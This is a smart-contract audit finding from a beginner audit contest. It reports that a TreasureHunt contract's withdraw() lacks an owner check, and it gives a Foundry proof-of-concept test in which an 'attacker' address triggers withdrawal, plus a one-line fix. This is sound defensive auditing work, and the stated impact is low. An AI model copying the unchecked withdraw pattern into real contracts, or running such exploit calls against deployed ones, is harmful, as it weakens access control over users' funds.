SNARKeling Treasure Hunt
First Flight #59
Beginner FriendlyGameFiFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: low
Likelihood: high

withdraw() lacks owner access control despite being an owner-only post-hunt function

Author Revealed upon completion

Root + Impact

Description

  • withdraw() is intended to be an owner-controlled function, but it has no msg.sender or onlyOwner check.

  • As a result, anyone can trigger the post-hunt withdrawal once claimsCount >= MAX_TREASURES.

function withdraw() external {
require(claimsCount >= MAX_TREASURES, "HUNT_NOT_OVER");
​
uint256 balance = address(this).balance;
require(balance > 0, "NO_FUNDS_TO_WITHDRAW");
​
(bool sent, ) = owner.call{value: balance}("");
require(sent, "ETH_TRANSFER_FAILED");
​
emit Withdrawn(balance, address(this).balance);
}
​

Risk

Likelihood:

  • This happens deterministically after claimsCount reaches MAX_TREASURES

  • Any address can call withdraw() and force the remaining funds to be sent to the owner.

Impact:

  • Funds are still sent to owner, so this does not allow direct theft.

  • However, it violates the documented access-control model and allows arbitrary users to trigger an owner-only administrative action before the owner chooses to do so.

Proof of Concept

The PoC deploys and funds TreasureHunt, then advances the contract to the post-hunt state where claimsCount == MAX_TREASURES. Once that condition is met, an arbitrary attacker address calls withdraw() successfully. The ETH is sent to owner, but the unauthorized caller is able to execute an administrative function that the README describes as owner-controlled.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;
​
import "forge-std/Test.sol";
import "forge-std/StdJson.sol";
​
import {TreasureHunt} from "../src/TreasureHunt.sol";
import {HonkVerifier} from "../src/Verifier.sol";
​
contract TreasureHuntWithdrawAccessControlPoC is Test {
using stdJson for string;
​
HonkVerifier verifier;
TreasureHunt hunt;
​
address constant owner = address(0xDEADBEEF);
address constant attacker = address(0xBAD);
​
uint256 constant INITIAL_OWNER_BALANCE = 200 ether;
uint256 constant INITIAL_FUNDING = 100 ether;
​
function setUp() public {
vm.deal(owner, INITIAL_OWNER_BALANCE);
​
vm.startPrank(owner);
​
verifier = new HonkVerifier();
​
hunt = new TreasureHunt{value: INITIAL_FUNDING}(address(verifier));
​
vm.stopPrank();
}
​
function _loadFixture()
internal
view
returns (
bytes memory proof,
bytes32 treasureHash,
address payable recipient
)
{
proof = vm.readFileBinary("contracts/test/fixtures/proof.bin");
​
string memory json = vm.readFile(
"contracts/test/fixtures/public_inputs.json"
);
​
bytes memory raw = json.parseRaw(".publicInputs");
bytes32[] memory inputs = abi.decode(raw, (bytes32[]));
​
treasureHash = inputs[0];
recipient = payable(address(uint160(uint256(inputs[1]))));
}
​
function testPoC_anyoneCanTriggerWithdrawAfterHuntEnds() public {
(
bytes memory proof,
bytes32 treasureHash,
address payable recipient
) = _loadFixture();
​
// Reuse the existing duplicate-claim bug to reach MAX_TREASURES in this PoC.
// The withdraw access-control issue itself is that once MAX_TREASURES is reached,
// withdraw() does not check msg.sender.
for (uint256 i = 0; i < hunt.MAX_TREASURES(); i++) {
hunt.claim(proof, treasureHash, recipient);
}
​
assertEq(hunt.claimsCount(), hunt.MAX_TREASURES());
​
uint256 ownerBalanceBefore = owner.balance;
uint256 contractBalanceBefore = address(hunt).balance;
​
assertGt(contractBalanceBefore, 0);
​
vm.prank(attacker);
​
// Attacker can trigger withdrawal even though funds are sent to owner.
hunt.withdraw();
​
assertEq(address(hunt).balance, 0);
assertEq(owner.balance, ownerBalanceBefore + contractBalanceBefore);
}
}
​

Recommended Mitigation

Restrict withdraw() to the owner by adding an explicit check.

function withdraw() external {
+ require(msg.sender == owner, "ONLY_OWNER");
require(claimsCount >= MAX_TREASURES, "HUNT_NOT_OVER");
​
​

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!